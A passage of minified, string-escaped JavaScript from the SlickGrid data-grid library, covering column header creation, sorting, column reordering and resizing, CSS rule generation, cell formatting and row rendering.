r=columns[o],i=$headers.children().eq(o);i&&(void 0!==t&&(columns[o].name=t),void 0!==n&&(columns[o].toolTip=n),trigger(self.onBeforeHeaderCellDestroy,{node:i[0],column:r,grid:self}),i.attr(\\\"title\\\",n||\\\"\\\").children().eq(0).html(t),trigger(self.onHeaderCellRendered,{node:i[0],column:r,grid:self}))}}}function getHeaderRow(){return $headerRow[0]}function getFooterRow(){return $footerRow[0]}function getPreHeaderPanel(){return $preHeaderPanel[0]}function getHeaderRowColumn(e){var t=getColumnIndex(e),n=$headerRow.children().eq(t);return n&&n[0]}function getFooterRowColumn(e){var t=getColumnIndex(e),n=$footerRow.children().eq(t);return n&&n[0]}function createColumnHeaders(){function e(){$(this).addClass(\\\"ui-state-hover\\\")}function t(){$(this).removeClass(\\\"ui-state-hover\\\")}$headers.find(\\\".slick-header-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeHeaderCellDestroy,{node:this,column:e,grid:self})}),$headers.empty(),$headers.width(getHeadersWidth()),$headerRow.find(\\\".slick-headerrow-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeHeaderRowCellDestroy,{node:this,column:e,grid:self})}),$headerRow.empty(),options.createFooterRow&&($footerRow.find(\\\".slick-footerrow-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeFooterRowCellDestroy,{node:this,column:e})}),$footerRow.empty());for(var n=0;n<columns.length;n++){var o=columns[n],r=$(\\\"<div class='ui-state-default slick-header-column' />\\\").html(\\\"<span class='slick-column-name'>\\\"+o.name+\\\"</span>\\\").width(o.width-headerColumnWidthDiff).attr(\\\"id\\\",\\\"\\\"+uid+o.id).attr(\\\"title\\\",o.toolTip||\\\"\\\").data(\\\"column\\\",o).addClass(o.headerCssClass||\\\"\\\").appendTo($headers);if((options.enableColumnReorder||o.sortable)&&r.on(\\\"mouseenter\\\",e).on(\\\"mouseleave\\\",t),o.sortable&&(r.addClass(\\\"slick-header-sortable\\\"),r.append(\\\"<span class='\\\"+sortIndicatorCssClass+\\\"' />\\\")),trigger(self.onHeaderCellRendered,{node:r[0],column:o,grid:self}),options.showHeaderRow){var i=$(\\\"<div class='ui-state-default slick-headerrow-column l\\\"+n+\\\" r\\\"+n+\\\"'></div>\\\").data(\\\"column\\\",o).appendTo($headerRow);trigger(self.onHeaderRowCellRendered,{node:i[0],column:o,grid:self})}if(options.createFooterRow&&options.showFooterRow){var l=$(\\\"<div class='ui-state-default slick-footerrow-column l\\\"+n+\\\" r\\\"+n+\\\"'></div>\\\").data(\\\"column\\\",o).appendTo($footerRow);trigger(self.onFooterRowCellRendered,{node:l[0],column:o})}}setSortColumns(sortColumns),setupColumnResize(),options.enableColumnReorder&&(\\\"function\\\"==typeof options.enableColumnReorder?options.enableColumnReorder(self,$headers,headerColumnWidthDiff,setColumns,setupColumnResize,columns,getColumnIndex,uid,trigger):setupColumnReorder())}function setupColumnSort(){$headers.click(function(e){if(e.metaKey=e.metaKey||e.ctrlKey,!$(e.target).hasClass(\\\"slick-resizable-handle\\\")){var t=$(e.target).closest(\\\".slick-header-column\\\");if(t.length){var n=t.data(\\\"column\\\");if(n.sortable){if(!getEditorLock().commitCurrentEdit())return;for(var o=null,r=0;r<sortColumns.length;r++)if(sortColumns[r].columnId==n.id){(o=sortColumns[r]).sortAsc=!o.sortAsc;break}var i=!!o;options.tristateMultiColumnSort?(o||(o={columnId:n.id,sortAsc:n.defaultSortAsc}),i&&o.sortAsc&&(sortColumns.splice(r,1),o=null),options.multiColumnSort||(sortColumns=[]),!o||i&&options.multiColumnSort||sortColumns.push(o)):e.metaKey&&options.multiColumnSort?o&&sortColumns.splice(r,1):((e.shiftKey||e.metaKey)&&options.multiColumnSort||(sortColumns=[]),o?0==sortColumns.length&&sortColumns.push(o):(o={columnId:n.id,sortAsc:n.defaultSortAsc},sortColumns.push(o))),setSortColumns(sortColumns),0<sortColumns.length&&(options.multiColumnSort?trigger(self.onSort,{multiColumnSort:!0,sortCols:$.map(sortColumns,function(e){return{sortCol:columns[getColumnIndex(e.columnId)],sortAsc:e.sortAsc}}),grid:self},e):trigger(self.onSort,{multiColumnSort:!1,sortCol:n,sortAsc:sortColumns[0].sortAsc,grid:self},e))}}}})}function setupColumnReorder(){$headers.filter(\\\":ui-sortable\\\").sortable(\\\"destroy\\\"),$headers.sortable({containment:\\\"parent\\\",distance:3,axis:\\\"x\\\",cursor:\\\"default\\\",tolerance:\\\"intersection\\\",helper:\\\"clone\\\",placeholder:\\\"slick-sortable-placeholder ui-state-default slick-header-column\\\",start:function(e,t){t.placeholder.width(t.helper.outerWidth()-headerColumnWidthDiff),$(t.helper).addClass(\\\"slick-header-column-active\\\")},beforeStop:function(e,t){$(t.helper).removeClass(\\\"slick-header-column-active\\\")},stop:function(e){if(getEditorLock().commitCurrentEdit()){for(var t=$headers.sortable(\\\"toArray\\\"),n=[],o=0;o<t.length;o++)n.push(columns[getColumnIndex(t[o].replace(uid,\\\"\\\"))]);setColumns(n),trigger(self.onColumnsReordered,{grid:self}),e.stopPropagation(),setupColumnResize()}else $(this).sortable(\\\"cancel\\\")}})}function setupColumnResize(){var s,a,c,u,d,p,n,o;(u=$headers.children()).find(\\\".slick-resizable-handle\\\").remove(),u.each(function(e,t){e>=columns.length||columns[e].resizable&&(void 0===n&&(n=e),o=e)}),void 0!==n&&u.each(function(l,e){l>=columns.length||l<n||options.forceFitColumns&&o<=l||($(e),$(\\\"<div class='slick-resizable-handle' />\\\").appendTo(e).on(\\\"dragstart\\\",function(e,t){if(!getEditorLock().commitCurrentEdit())return!1;c=e.pageX,$(this).parent().addClass(\\\"slick-header-column-active\\\");var n=null,o=null;if(u.each(function(e,t){e>=columns.length||(columns[e].previousWidth=$(t).outerWidth())}),options.forceFitColumns)for(o=n=0,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(null!==o&&(a.maxWidth?o+=a.maxWidth-a.previousWidth:o=null),n+=a.previousWidth-Math.max(a.minWidth||0,absoluteColumnMinWidth));var r=0,i=0;for(s=0;s<=l;s++)(a=columns[s]).resizable&&(null!==i&&(a.maxWidth?i+=a.maxWidth-a.previousWidth:i=null),r+=a.previousWidth-Math.max(a.minWidth||0,absoluteColumnMinWidth));null===n&&(n=1e5),null===r&&(r=1e5),null===o&&(o=1e5),null===i&&(i=1e5),p=c+Math.min(n,i),d=c-Math.min(r,o)}).on(\\\"drag\\\",function(e,t){var n,o,r=Math.min(p,Math.max(d,e.pageX))-c;if(r<0){for(o=r,s=l;0<=s;s--)(a=columns[s]).resizable&&(n=Math.max(a.minWidth||0,absoluteColumnMinWidth),o&&a.previousWidth+o<n?(o+=a.previousWidth-n,a.width=n):(a.width=a.previousWidth+o,o=0));if(options.forceFitColumns)for(o=-r,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(o&&a.maxWidth&&a.maxWidth-a.previousWidth<o?(o-=a.maxWidth-a.previousWidth,a.width=a.maxWidth):(a.width=a.previousWidth+o,o=0))}else{for(o=r,s=l;0<=s;s--)(a=columns[s]).resizable&&(o&&a.maxWidth&&a.maxWidth-a.previousWidth<o?(o-=a.maxWidth-a.previousWidth,a.width=a.maxWidth):(a.width=a.previousWidth+o,o=0));if(options.forceFitColumns)for(o=-r,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(n=Math.max(a.minWidth||0,absoluteColumnMinWidth),o&&a.previousWidth+o<n?(o+=a.previousWidth-n,a.width=n):(a.width=a.previousWidth+o,o=0))}applyColumnHeaderWidths(),options.syncColumnCellResize&&applyColumnWidths()}).on(\\\"dragend\\\",function(e,t){var n;for($(this).parent().removeClass(\\\"slick-header-column-active\\\"),s=0;s<columns.length;s++)a=columns[s],n=$(u[s]).outerWidth(),a.previousWidth!==n&&a.rerenderOnResize&&invalidateAllRows();updateCanvasWidth(!0),render(),trigger(self.onColumnsResized,{grid:self})}))})}function getVBoxDelta(n){var o=0;return $.each([\\\"borderTopWidth\\\",\\\"borderBottomWidth\\\",\\\"paddingTop\\\",\\\"paddingBottom\\\"],function(e,t){o+=parseFloat(n.css(t))||0}),o}function measureCellPaddingAndBorder(){var n,e=[\\\"borderLeftWidth\\\",\\\"borderRightWidth\\\",\\\"paddingLeft\\\",\\\"paddingRight\\\"],t=[\\\"borderTopWidth\\\",\\\"borderBottomWidth\\\",\\\"paddingTop\\\",\\\"paddingBottom\\\"],o=$.fn.jquery.split(\\\".\\\");jQueryNewWidthBehaviour=1==o[0]&&8<=o[1]||2<=o[0],n=$(\\\"<div class='ui-state-default slick-header-column' style='visibility:hidden'>-</div>\\\").appendTo($headers),headerColumnWidthDiff=headerColumnHeightDiff=0,\\\"border-box\\\"!=n.css(\\\"box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-moz-box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-webkit-box-sizing\\\")&&($.each(e,function(e,t){headerColumnWidthDiff+=parseFloat(n.css(t))||0}),$.each(t,function(e,t){headerColumnHeightDiff+=parseFloat(n.css(t))||0})),n.remove();var r=$(\\\"<div class='slick-row' />\\\").appendTo($canvas);n=$(\\\"<div class='slick-cell' id='' style='visibility:hidden'>-</div>\\\").appendTo(r),cellWidthDiff=cellHeightDiff=0,\\\"border-box\\\"!=n.css(\\\"box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-moz-box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-webkit-box-sizing\\\")&&($.each(e,function(e,t){cellWidthDiff+=parseFloat(n.css(t))||0}),$.each(t,function(e,t){cellHeightDiff+=parseFloat(n.css(t))||0})),r.remove(),absoluteColumnMinWidth=Math.max(headerColumnWidthDiff,cellWidthDiff)}function createCssRules(){$style=$(\\\"<style type='text/css' rel='stylesheet' />\\\").appendTo($(\\\"head\\\"));for(var e=options.rowHeight-cellHeightDiff,t=[\\\".\\\"+uid+\\\" .slick-header-column { left: 1000px; }\\\",\\\".\\\"+uid+\\\" .slick-top-panel { height:\\\"+options.topPanelHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-preheader-panel { height:\\\"+options.preHeaderPanelHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-headerrow-columns { height:\\\"+options.headerRowHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-footerrow-columns { height:\\\"+options.footerRowHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-cell { height:\\\"+e+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-row { height:\\\"+options.rowHeight+\\\"px; }\\\"],n=0;n<columns.length;n++)t.push(\\\".\\\"+uid+\\\" .l\\\"+n+\\\" { }\\\"),t.push(\\\".\\\"+uid+\\\" .r\\\"+n+\\\" { }\\\");$style[0].styleSheet?$style[0].styleSheet.cssText=t.join(\\\" \\\"):$style[0].appendChild(document.createTextNode(t.join(\\\" \\\")))}function getColumnCssRules(e){var t;if(!stylesheet){var n=document.styleSheets;for(t=0;t<n.length;t++)if((n[t].ownerNode||n[t].owningElement)==$style[0]){stylesheet=n[t];break}if(!stylesheet)throw new Error(\\\"Cannot find stylesheet.\\\");columnCssRulesL=[],columnCssRulesR=[];var o,r,i=stylesheet.cssRules||stylesheet.rules;for(t=0;t<i.length;t++){var l=i[t].selectorText;(o=/\\\\.l\\\\d+/.exec(l))?(r=parseInt(o[0].substr(2,o[0].length-2),10),columnCssRulesL[r]=i[t]):(o=/\\\\.r\\\\d+/.exec(l))&&(r=parseInt(o[0].substr(2,o[0].length-2),10),columnCssRulesR[r]=i[t])}}return{left:columnCssRulesL[e],right:columnCssRulesR[e]}}function removeCssRules(){$style.remove(),stylesheet=null}function destroy(){getEditorLock().cancelCurrentEdit(),trigger(self.onBeforeDestroy,{grid:self});for(var e=plugins.length;e--;)unregisterPlugin(plugins[e]);options.enableColumnReorder&&$headers.filter(\\\":ui-sortable\\\").sortable(\\\"destroy\\\"),unbindAncestorScrollEvents(),$container.off(\\\".slickgrid\\\"),removeCssRules(),$canvas.off(\\\"draginit dragstart dragend drag\\\"),$container.empty().removeClass(uid)}function trigger(e,t,n){return n=n||new Slick.EventData,(t=t||{}).grid=self,e.notify(t,n,self)}function getEditorLock(){return options.editorLock}function getEditController(){return editController}function getColumnIndex(e){return columnsById[e]}function autosizeColumns(){var e,t,n,o=[],r=0,i=0,l=viewportHasVScroll?viewportW-scrollbarDimensions.width:viewportW;for(e=0;e<columns.length;e++)t=columns[e],o.push(t.width),i+=t.width,t.resizable&&(r+=t.width-Math.max(t.minWidth,absoluteColumnMinWidth));for(n=i;l<i&&r;){var s=(i-l)/r;for(e=0;e<columns.length&&l<i;e++){t=columns[e];var a=o[e];if(!(!t.resizable||a<=t.minWidth||a<=absoluteColumnMinWidth)){var c=Math.max(t.minWidth,absoluteColumnMinWidth),u=Math.floor(s*(a-c))||1;u=Math.min(u,a-c),i-=u,r-=u,o[e]-=u}}if(n<=i)break;n=i}for(n=i;i<l;){var d=l/i;for(e=0;e<columns.length&&i<l;e++){t=columns[e];var p,f=o[e];p=!t.resizable||t.maxWidth<=f?0:Math.min(Math.floor(d*f)-f,t.maxWidth-f||1e6)||1,i+=p,o[e]+=i<=l?p:0}if(i<=n)break;n=i}var h=!1;for(e=0;e<columns.length;e++)columns[e].rerenderOnResize&&columns[e].width!=o[e]&&(h=!0),columns[e].width=o[e];applyColumnHeaderWidths(),updateCanvasWidth(!0),h&&(invalidateAllRows(),render())}function applyColumnHeaderWidths(){if(initialized){for(var e,t=0,n=$headers.children(),o=columns.length;t<o;t++)e=$(n[t]),jQueryNewWidthBehaviour?e.outerWidth()!==columns[t].width&&e.outerWidth(columns[t].width):e.width()!==columns[t].width-headerColumnWidthDiff&&e.width(columns[t].width-headerColumnWidthDiff);updateColumnCaches()}}function applyColumnWidths(){for(var e,t,n=0,o=0;o<columns.length;o++)e=columns[o].width,(t=getColumnCssRules(o)).left.style.left=n+\\\"px\\\",t.right.style.right=canvasWidth-n-e+\\\"px\\\",n+=columns[o].width}function setSortColumn(e,t){setSortColumns([{columnId:e,sortAsc:t}])}function setSortColumns(e){sortColumns=e;var o=options.numberedMultiColumnSort&&1<sortColumns.length,r=$headers.children(),i=r.removeClass(\\\"slick-header-column-sorted\\\").find(\\\".\\\"+sortIndicatorCssClass).removeClass(\\\"slick-sort-indicator-asc slick-sort-indicator-desc\\\");o&&i.text(\\\"\\\"),$.each(sortColumns,function(e,t){null==t.sortAsc&&(t.sortAsc=!0);var n=getColumnIndex(t.columnId);null!=n&&(i=r.eq(n).addClass(\\\"slick-header-column-sorted\\\").find(\\\".\\\"+sortIndicatorCssClass).addClass(t.sortAsc?\\\"slick-sort-indicator-asc\\\":\\\"slick-sort-indicator-desc\\\"),o&&i.text(e+1))})}function getSortColumns(){return sortColumns}function handleSelectedRangesChanged(e,t){selectedRows=[];for(var n={},o=0;o<t.length;o++)for(var r=t[o].fromRow;r<=t[o].toRow;r++){n[r]||(selectedRows.push(r),n[r]={});for(var i=t[o].fromCell;i<=t[o].toCell;i++)canCellBeSelected(r,i)&&(n[r][columns[i].id]=options.selectedCellCssClass)}setCellCssStyles(options.selectedCellCssClass,n),trigger(self.onSelectedRowsChanged,{rows:getSelectedRows(),grid:self},e)}function getColumns(){return columns}function updateColumnCaches(){columnPosLeft=[],columnPosRight=[];for(var e=0,t=0,n=columns.length;t<n;t++)columnPosLeft[t]=e,columnPosRight[t]=e+columns[t].width,e+=columns[t].width}function setColumns(e){columns=e,columnsById={};for(var t=0;t<columns.length;t++){var n=columns[t]=$.extend({},columnDefaults,columns[t]);columnsById[n.id]=t,n.minWidth&&n.width<n.minWidth&&(n.width=n.minWidth),n.maxWidth&&n.width>n.maxWidth&&(n.width=n.maxWidth)}updateColumnCaches(),initialized&&(invalidateAllRows(),createColumnHeaders(),removeCssRules(),createCssRules(),resizeCanvas(),applyColumnWidths(),handleScroll())}function getOptions(){return options}function setOptions(e,t){getEditorLock().commitCurrentEdit()&&(makeActiveCellNormal(),options.enableAddRow!==e.enableAddRow&&invalidateRow(getDataLength()),options=$.extend(options,e),validateAndEnforceOptions(),$viewport.css(\\\"overflow-y\\\",options.autoHeight?\\\"hidden\\\":\\\"auto\\\"),t||render())}function validateAndEnforceOptions(){options.autoHeight&&(options.leaveSpaceForNewRows=!1)}function setData(e,t){data=e,invalidateAllRows(),updateRowCount(),t&&scrollTo(0)}function getData(){return data}function getDataLength(){return data.getLength?data.getLength():data.length}function getDataLengthIncludingAddNew(){return getDataLength()+(options.enableAddRow&&(!pagingActive||pagingIsLastPage)?1:0)}function getDataItem(e){return data.getItem?data.getItem(e):data[e]}function getTopPanel(){return $topPanel[0]}function setTopPanelVisibility(e){options.showTopPanel!=e&&((options.showTopPanel=e)?$topPanelScroller.slideDown(\\\"fast\\\",resizeCanvas):$topPanelScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setHeaderRowVisibility(e){options.showHeaderRow!=e&&((options.showHeaderRow=e)?$headerRowScroller.slideDown(\\\"fast\\\",resizeCanvas):$headerRowScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setFooterRowVisibility(e){options.showFooterRow!=e&&((options.showFooterRow=e)?$footerRowScroller.slideDown(\\\"fast\\\",resizeCanvas):$footerRowScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setPreHeaderPanelVisibility(e){options.showPreHeaderPanel!=e&&((options.showPreHeaderPanel=e)?$preHeaderPanelScroller.slideDown(\\\"fast\\\",resizeCanvas):$preHeaderPanelScroller.slideUp(\\\"fast\\\",resizeCanvas))}function getContainerNode(){return $container.get(0)}function getRowTop(e){return options.rowHeight*e-offset}function getRowFromPosition(e){return Math.floor((e+offset)/options.rowHeight)}function scrollTo(e){e=Math.max(e,0),e=Math.min(e,th-viewportH+(viewportHasHScroll?scrollbarDimensions.height:0));var t=offset;page=Math.min(n-1,Math.floor(e/ph)),offset=Math.round(page*cj);var o=e-offset;if(offset!=t){var r=getVisibleRange(o);cleanupRows(r),updateRowPositions()}prevScrollTop!=o&&(vScrollDir=prevScrollTop+t<o+offset?1:-1,$viewport[0].scrollTop=lastRenderedScrollTop=scrollTop=prevScrollTop=o,trigger(self.onViewportChanged,{grid:self}))}function defaultFormatter(e,t,n,o,r){return null==n?\\\"\\\":(n+\\\"\\\").replace(/&/g,\\\"&amp;\\\").replace(/</g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\")}function getFormatter(e,t){var n=data.getItemMetadata&&data.getItemMetadata(e),o=n&&n.columns&&(n.columns[t.id]||n.columns[getColumnIndex(t.id)]);return o&&o.formatter||n&&n.formatter||t.formatter||options.formatterFactory&&options.formatterFactory.getFormatter(t)||options.defaultFormatter}function getEditor(e,t){var n=columns[t],o=data.getItemMetadata&&data.getItemMetadata(e),r=o&&o.columns;return r&&r[n.id]&&void 0!==r[n.id].editor?r[n.id].editor:r&&r[t]&&void 0!==r[t].editor?r[t].editor:n.editor||options.editorFactory&&options.editorFactory.getEditor(n)}function getDataItemValueForColumn(e,t){return options.dataItemColumnValueExtractor?options.dataItemColumnValueExtractor(e,t):e[t.field]}function appendRowHtml(e,t,n,o){var r=getDataItem(t),i=t<o&&!r,l=\\\"slick-row\\\"+(i?\\\" loading\\\":\\\"\\\")+(t===activeRow?\\\" active\\\":\\\"\\\")+(t%2==1?\\\" odd\\\":\\\" even\\\");r||(l+=\\\" \\\"+options.addNewRowCssClass);var s,a,c=data.getItemMetadata&&data.getItemMetadata(t);c&&c.cssClasses&&(l+=\\\" \\\"+c.cssClasses),e.push(\\\"<div class='ui-widget-content \\\"+l+\\\"' style='top:\\\"+getRowTop(t)+\\\"px'>\\\");for(var u=0,d=columns.length;u<d;u++){if(a=columns[u],s=1,c&&c.columns){var p=c.columns[a.id]||c.columns[u];\\\"*\\\"===(s=p&&p.colspan||1)&&(s=d-u)}if(columnPosRight[Math.min(d-1,u+s-1)]>n.leftPx){if(columnPosLeft[u]>n.rightPx)break;appendCellHtml(e,t,u,s,r)}1<s&&(u+=s-1)}e.push(\\\"</div>\\\")}function appendCellHtml(e,t,n,o,r){var i=columns[n],l=\\\"slick-cell l\\\"+n+\\\" r\\\"+Math.min(columns.length-1,n+o-1)+(i.cssClass?\\\" \\\"+i.cssClass:\\\"\\\");for(var s in t===activeRow&&n===activeCell&&(l+=\\\" active\\\"),cellCssClasses)cellCssClasses[s][t]&&cellCssClasses[s][t][i.id]&&(l+=\\\" \\\"+cellCssClasses[s][t][i.id]);var a=null;r&&(a=getDataItemValueForColumn(r,i));var c=getFormatter(t,i)(t,n,a,i,r),u=trigger(self.onBeforeAppendCell,{row:t,cell:n,grid:self,value:a,dataContext:r})||\\\"\\\";u+=c.addClasses?(u?\\\" \\\":\\\"\\\")+c.addClasses:\\\"\\\",e.push(\\\"<div class='\\\"+l+(u?\\\" \\\"+u:\\\"\\\")+\\\"'>\\\"),r&&e.push(\\\"object\\\"!=typeof c?c:c.text),e.push(\\\"</div>\\\"),rowsCache[t].cellRenderQueue.push(n),rowsCache[t].cellColSpans[n]=o}function cleanupRows(e){for(var t in rowsCache)(t=parseInt(t,10))!==activeRow&&(t<e.top||t>e.bottom)&&removeRowFromCache(t);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}function invalidate(){updateRowCount(),invalidateAllRows(),render()}function invalidateAllRows(){for(var e in currentEditor&&makeActiveCellNormal(),rowsCache)removeRowFromCache(e);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}function queuePostProcessedRowForCleanup(e,t,n){for(var o in postProcessgroupId++,t)t.hasOwnProperty(o)&&postProcessedCleanupQueue.push({actionType:\\\"C\\\",groupId:postProcessgroupId,node:e.cellNodesByColumnIdx[0|o],columnIdx:0|o,rowIdx:n});postProcessedCleanupQueue.push({actionType:\\\"R\\\",groupId:postProcessgroupId,node:e.rowNode}),$(e.rowNode).detach()}function queuePostProcessedCellForCleanup(e,t,n){postProcessedCleanupQueue.push({actionType:\\\"C\\\",groupId:postProcessgroupId,node:e,columnIdx:t,rowIdx:n}),$(e).detach()}function removeRowFromCache(e){var t=rowsCache[e];t&&(rowNodeFromLastMouseWheelEvent===t.rowNode?(t.rowNode.style.display=\\\"none\\\",zombieRowNodeFromLastMouseWheelEvent=rowNodeFromLastMouseWheelEvent,zombieRowCacheFromLastMouseWheelEvent=t,zombieRowPostProcessedFromLastMouseWheelEvent=postProcessedRows[e]):options.enableAsyncPostRenderCleanup&&postProcessedRows[e]?queuePostProcessedRowForCleanup(t,postProcessedRows[e],e):$canvas[0].removeChild(t.rowNode),delete rowsCache[e],delete postProcessedRows[e],renderedRows--,counter_rows_removed++)}function invalidateRows(e){var t,n;if(e&&e.length){for(vScrollDir=0,n=e.length,t=0;t<n;t++)currentEditor&&activeRow===e[t]&&makeActiveCellNormal(),rowsCache[e[t]]&&removeRowFromCache(e[t]);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}}function invalidateRow(e){invalidateRows([e])}function applyFormatResultToCellNode(e,t,n){\\\"object\\\"==typeof e?(t.innerHTML=e.text,e.removeClasses&&!n&&t.removeClass(e.removeClasses),e.addClasses&&t.addClass(e.addClasses)):t.innerHTML=e}function updateCell(e,t){var n=getCellNode(e,t);if(n){var o=columns[t],r=getDataItem(e);if(currentEditor&&activeRow===e&&activeCell===t)currentEditor.loadValue(r);else{var i=r?getFormatter(e,o)(e,t,getDataItemValueForColumn(r,o),o,r):\\\"\\\";applyFormatResultToCellNode(i,n),invalidatePostProcessingResults(e)}}}function updateRow(e){var t=rowsCache[e];if(t){ensureCellNodesInRowsCache(e);var n=getDataItem(e);for(var o in t.cellNodesByColumnIdx)if(t.cellNodesByColumnIdx.hasOwnProperty(o)){var r=columns[o|=0],i=t.cellNodesByColumnIdx[o];e===activeRow&&o===activeCell&&currentEditor?currentEditor.loadValue(n):n?applyFormatResultToCellNode(getFormatter(e,r)(e,o,getDataItemValueForColumn(n,r),r,n),i):i.innerHTML=\\\"\\\"}invalidatePostProcessingResults(e)}}function getViewportHeight(){return parseFloat($.css($container[0],\\\"height\\\",!0))-parseFloat($.css($container[0],\\\"paddingTop\\\",!0))-parseFloat($.css($container[0],\\\"paddingBottom\\\",!0))-parseFloat($.css($headerScroller[0],\\\"height\\\"))-getVBoxDelta($headerScroller)-(options.showTopPanel?options.topPanelHeight+getVBoxDelta($topPanelScroller):0)-(options.showHeaderRow?options.headerRowHeight+getVBoxDelta($headerRowScroller):0)-(options.createFooterRow&&options.showFooterRow?options.footerRowHeight+getVBoxDelta($footerRowScroller):0)-(options.createPreHeaderPanel&&options.showPreHeaderPanel?options.preHeaderPanelHeight+getVBoxDelta($preHeaderPanelScroller):0)}function resizeCanvas(){initialized&&(viewportH=options.autoHeight?options.rowHeight*getDataLengthIncludingAddNew():getViewportHeight(),numVisibleRows=Math.ceil(viewportH/options.rowHeight),viewportW=parseFloat($.css($container[0],\\\"width\\\",!0)),options.autoHeight||$viewport.height(viewportH),options.forceFitColumns&&autosizeColumns(),updateRowCount(),handleScroll(),lastRenderedScrollLeft=-1,render())}function updatePagingStatusFromView(e){pagingActive=0!==e.pageSize,pagingIsLastPage=e.pageNum==e.totalPages-1}function updateRowCount(){if(initialized){var e=getDataLength(),t=getDataLengthIncludingAddNew(),o=t+(options.leaveSpaceForNewRows?numVisibleRows-1:0),r=viewportHasVScroll;viewportHasVScroll=!options.autoHeight&&o*options.rowHeight>viewportH,viewportHasHScroll=canvasWidth>viewportW-scrollbarDimensions.width,makeActiveCellNormal();var i=e-1;for(var l in rowsCache)i<l&&removeRowFromCache(l);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup(),activeCellNode&&i<activeRow&&resetActiveCell();var s=h;(th=Math.max(options.rowHeight*o,viewportH-scrollbarDimensions.height))<maxSupportedCssHeight?(h=ph=th,n=1,cj=0):(ph=(h=maxSupportedCssHeight)/100,n=Math.floor(th/ph),cj=(th-h)/(n-1)),h!==s&&($canvas.css(\\\"height\\\",h),scrollTop=$viewport[0].scrollTop);var a=scrollTop+offset<=th-viewportH;0==th||0==scrollTop?page=offset=0:scrollTo(a?scrollTop+offset:th-viewportH),h!=s&&options.autoHeight&&resizeCanvas(),options.forceFitColumns&&r!=viewportHasVScroll&&autosizeColumns(),updateCanvasWidth(!1)}}function getVisibleRange(e,t){return null==e&&(e=scrollTop),null==t&&(t=scrollLeft),{top:getRowFromPosition(e),bottom:getRowFromPosition(e+viewportH)+1,leftPx:t,rightPx:t+viewportW}}function getRenderedRange(e,t){var n=getVisibleRange(e,t),o=Math.round(viewportH/options.rowHeight);return-1==vScrollDir?(n.top-=o,n.bottom+=3):1==vScrollDir?(n.top-=3,n.bottom+=o):(n.top-=3,n.bottom+=3),n.top=Math.max(0,n.top),n.bottom=Math.min(getDataLengthIncludingAddNew()-1,n.bottom),n.leftPx-=viewportW,n.rightPx+=viewportW,n.leftPx=Math.max(0,n.leftPx),n.rightPx=Math.min(canvasWidth,n.rightPx),n}function ensureCellNodesInRowsCache(e){var t=rowsCache[e];if(t&&t.cellRenderQueue.length)for(var n=t.rowNode.lastChild;t.cellRenderQueue.length;){var o=t.cellRenderQueue.pop();n=(t.cellNodesByColumnIdx[o]=n).previousSibling}}function cleanUpCells(e,t){var n,o,r=rowsCache[t],i=[];for(var l in r.cellNodesByColumnIdx)if(r.cellNodesByColumnIdx.hasOwnProperty(l)){l|=0;var s=r.cellColSpans[l];(columnPosLeft[l]>e.rightPx||columnPosRight[Math.min(columns.length-1,l+s-1)]<e.leftPx)&&(t==activeRow&&l==activeCell||i.push(l))}for(postProcessgroupId++;null!=(n=i.pop());)o=r.cellNodesByColumnIdx[n],options.enableAsyncPostRenderCleanup&&postProcessedRows[t]&&postProcessedRows[t][n]?queuePostProcessedCellForCleanup(o,n,t):r.rowNode.removeChild(o),delete r.cellColSpans[n],delete r.cellNodesByColumnIdx[n],postProcessedRows[t]&&delete postProcessedRows[t][n],0}function cleanUpAndRenderCells(e){for(var t,n,o,r=[],i=[],l=e.top,s=e.bottom;l<=s;l++)if(t=rowsCache[l]){ensureCellNodesInRowsCache(l),cleanUpCells(e,l),n=0;var a=data.getItemMetadata&&data.getItemMetadata(l);a=a&&a.columns;for(var c=getDataItem(l),u=0,d=columns.length;u<d&&!(columnPosLeft[u]>e.rightPx);u++)if(null==(o=t.cellColSpans[u])){if(o=1,a){var p=a[columns[u].id]||a[u];\\\"*\\\"===(o=p&&p.colspan||1)&&(o=d-u)}columnPosRight[Math.min(d-1,u+o-1)]>e.leftPx&&(appendCellHtml(r,l,u,o,c),n++),u+=1<o?o-1:0}else u+=1<o?o-1:0;n&&(n,i.push(l))}if(r.length){var f,h,g=document.createElement(\\\"div\\\");for(g.innerHTML=r.join(\\\"\\\");null!=(f=i.pop());){var m;for(t=rowsCache[f];null!=(m=t.cellRenderQueue.pop());)h=g.lastChild,t.rowNode.appendChild(h),t.cellNodesByColumnIdx[m]=h}}}function renderRows(e){for(var t=$canvas[0],n=[],o=[],r=!1,i=getDataLength(),l=e.top,s=e.bottom;l<=s;l++)rowsCache[l]||(renderedRows++,o.push(l),rowsCache[l]={rowNode:null,cellColSpans:[],cellNodesByColumnIdx:[],cellRenderQueue:[]},appendRowHtml(n,l,e,i),activeCellNode&&activeRow===l&&(r=!0),counter_rows_rendered++);if(o.length){var a=document.createElement(\\\"div\\\");a.innerHTML=n.join(\\\"\\\");for(var l=0,s=o.length;l<s;l++)rowsCache[o[l]].rowNode=t.appendChild(a.firstChild);r&&(activeCellNode=getCellNode(activeRow,activeCell))}}function startPostProcessing(){options.enableAsyncPostRender&&(clearTimeout(h_postrender),h_postrender=setTimeout(asyncPostProcessRows,options.asyncPostRenderDelay))}function 